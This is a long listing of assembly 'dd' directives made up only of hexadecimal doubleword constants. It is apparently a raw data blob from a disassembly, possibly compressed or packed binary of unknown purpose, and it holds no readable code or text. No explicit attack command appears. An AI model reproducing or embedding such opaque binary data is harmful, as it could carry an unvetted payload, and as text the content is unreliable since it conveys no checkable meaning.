dd 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh, 5E0080BEh
dd 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh, 20614BECh
dd 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h, 6240F8Bh
dd 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h, 8A998100h
dd 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch, 25F74Ch
dd 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh, 0B72D8800h
dd 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h, 48080400h
dd 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah, 0EB851200h
dd 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h, 144642A4h
dd 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch, 0B642039Ch
dd 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h, 39B467E3h
dd 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh, 45DD2609h
dd 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh, 0DA097540h
dd 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h, 0B5A81221h
dd 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h, 49BAFFh
dd 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h, 47C589h
dd 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h, 0FE88002Bh
dd 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h, 306614A9h
dd 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h, 1E760314h
dd 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh, 0B05259DCh
dd 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h, 1602546h
dd 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h, 16344828h
dd 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch, 13C93840h
dd 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh, 1220E002h
dd 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h, 5AC07473h
dd 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh, 5A588402h
dd 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh, 101DC3ECh
dd 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch, 98BE742Ch
dd 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h, 840F9E00h
dd 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h, 7208F600h
dd 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h, 1EE4957Dh
dd 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h, 0D45BCFF0h
dd 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h, 0A51D0075h
dd 74349119h, 3B002B85h, 47763196h, 0CB92Ch, 97AF2F1h
dd 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h, 83C6DAC3h
dd 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh, 76193C00h
dd 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h
dd 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h, 0F73002B0h
dd 71009735h, 88930839h, 2E03117h, 0EA1052Bh, 14409601h
dd 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh, 0FA4CFD63h
dd 930447B5h, 27F22000h, 21AF7819h, 1C080037h, 0E5365D8Ah
dd 0C4005523h, 2D839040h, 6E9F18h, 8568A120h, 512C250Fh
dd 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh
dd 75078268h, 972CB815h, 9167AB30h, 96B438F3h, 3043D001h
dd 0F4C54C16h, 6400EC7Eh
dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h
dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h
dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h, 0B8010C6h
dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h, 0E4CCA02Fh
dd 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h
dd 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch
dd 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h
dd 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h
dd 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h
dd 44073848h, 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h
dd 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h
dd 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh
dd 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h
dd 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h
dd 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah
dd 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch
dd 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h
dd 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh
dd 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh
dd 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h
dd 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h
dd 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h
dd 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h
dd 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch
dd 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h
dd 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh
dd 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h
dd 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h
dd 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h
dd 8800A495h, 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h
dd 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h
dd 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h
dd 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h
dd 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h
dd 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh
dd 0BA029482h, 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah
dd 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h
dd 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h
dd 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h
dd 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h
dd 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h
dd 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h
dd 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h
dd 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h, 0B3EF54B0h
dd 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h
dd 96004022h, 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch
dd 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h
dd 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h
dd 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h
dd 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h
dd 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h
dd 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h
dd 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h
dd 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h
dd 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh
dd 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh
dd 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h, 283CFCD8h
dd 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h
dd 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h
dd 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh
dd 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h
dd 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh
dd 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h
dd 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h, 234E9C24h
dd 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h
dd 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h, 87C62A01h
dd 52F13547h, 34978C00h, 90CC8523h, 13040018h, 27A83046h
dd 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h
dd 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h
dd 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch
dd 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h, 88506B90h
dd 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch
dd 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h
dd 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h
dd 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h
dd 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h
dd 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h
dd 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh
dd 0D62F3010h, 9888A3E8h, 285138h, 42441453h, 0BB42302h
dd 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h
dd 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h
dd 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh
dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h, 2BA09DC2h
dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
dd 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h, 700E1000h
dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
dd 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h, 1BCEFC5Ch
dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h, 97000185h
dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h, 9AD8C400h
dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h, 0C40D544h
dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
dd 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h
dd 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh
dd 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch
dd 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h
dd 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h
dd 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h
dd 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh
dd 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h
dd 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh
dd 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh
dd 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh
dd 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch
dd 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah
dd 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh, 7E2B3CCh
dd 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h
dd 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh
dd 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h
dd 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h
dd 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h
dd 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch
dd 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h
dd 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh
dd 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh
dd 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h
dd 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h
dd 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h
dd 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h
dd 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h
dd 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h
dd 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h
dd 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h
dd 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh
dd 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h
dd 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch
dd 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh
dd 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh
dd 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh
dd 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh
dd 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h
dd 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h
dd 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h
dd 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h
dd 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h
dd 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h
dd 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh
dd 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h
dd 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch
dd 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h
dd 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h
dd 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch
dd 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh
dd 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh
dd 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h
dd 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h
dd 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h
dd 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h
dd 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h
dd 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh
dd 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h
dd 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh
dd 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h, 0F5A1361Fh
dd 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h
dd 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh
dd 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h
dd 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h, 4216E427h
dd 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h
dd 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h
dd 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h
dd 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h
dd 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h
dd 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh
dd 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh
dd 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h, 0C6405662h
dd 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h
dd 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h
dd 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh
dd 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh
dd 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h
dd 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h
dd 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h
dd 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h
dd 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h, 3560B4DAh
dd 2B059714h, 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh
dd 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh
dd 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah
dd 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h
dd 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh
dd 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h
dd 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h
dd 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h
dd 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h
dd 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh
dd 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch
dd 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh
dd 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah
dd 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h
dd 0CE2970FEh, 167CD085h
dd 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh, 0F84FA1FEh
dd 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h, 5108C1B7h
dd 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h, 0A1FEAAE2h
dd 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh, 0E7BA1E00h
dd 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh, 0D9965E1h
dd 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h, 521B102Ch
dd 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h
dd 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h
dd 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h, 87E28024h
dd 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h
dd 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h
dd 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh
dd 860904B6h, 806FD3E9h, 8F899906h, 1336F100h, 65E39327h
dd 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h
dd 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch
dd 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h
dd 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h
dd 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h
dd 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh
dd 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh
dd 5E34A787h, 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h
dd 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h
dd 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh
dd 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h
dd 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h
dd 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h, 47E4A542h
dd 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h
dd 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h
dd 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh, 42CE4DB6h
dd 3050CE6h, 1CDA0849h, 20D85B14h, 76002734h, 402D4258h
dd 0C1F041h, 3905E624h, 5312EF97h, 0FB005DECh, 4945D733h
dd 15C940Fh, 810834B0h, 0F025BFC6h, 24000901h, 28007F2h
dd 1EE231h, 0D6D3E30Bh, 32A221E6h, 907C4A00h, 0B833F934h
dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h, 28E7EDh
dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
dd 1F764D5h, 9A531EE7h, 6011F121h, 6A0434A5h, 543AA074h
dd 0A18E4BC1h, 42F3C8h, 1E0FE368h, 84F2E8B2h, 38FA3000h
dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h, 4A8F0700h
dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h, 23002C90h
dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h, 48C86B44h
dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
dd 48F7AC4h, 1DA032F1h, 1660C5E2h, 0ACCC431Dh, 81DE42CFh
dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh, 7780BCAh
dd 0F4870063h, 2C4ABAh, 886F883h, 0CA62C1D6h, 0FC957703h
dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
dd 2EA5C208h, 10CCBE0h, 10C46B1Dh, 14C83F02h, 0AA34C0F5h
dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h, 0BB7374E0h
dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah, 840111DCh
dd 0E4BAC766h, 1E90ECh, 0FF5014E3h, 0C1E0166Fh, 3205C000h
dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h, 82960136h
dd 7E908173h, 3B8ECE3h, 3C01AF98h, 0C6BFC241h, 7DC06BCh
